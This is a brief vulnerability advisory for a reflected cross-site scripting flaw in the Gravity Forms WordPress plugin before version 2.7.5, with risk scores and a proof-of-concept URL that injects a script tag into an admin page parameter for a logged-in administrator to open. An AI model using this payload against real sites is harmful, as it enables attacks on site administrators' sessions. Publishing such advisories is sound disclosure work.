Gravity Forms < 2.7.5 - Reflected XSS

2023-06-2100:00:00

wpvulndb

193

gravity forms

version 2.7.5

reflected xss

EPSS

0.001

Percentile

35.8%

JSON

The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high-privileged users such as admin.

Make a logged in admin open the following URL:

https://examle.com/wp-admin/admin.php?page=gf_edit_forms&s=vulnerable&"><script>alert(/XSS/)</script>=2

EPSS

0.001

Percentile

35.8%

JSON

Related for WPEX-ID:298FBE34-62C2-4E56-9BDB-90DA570C5BBE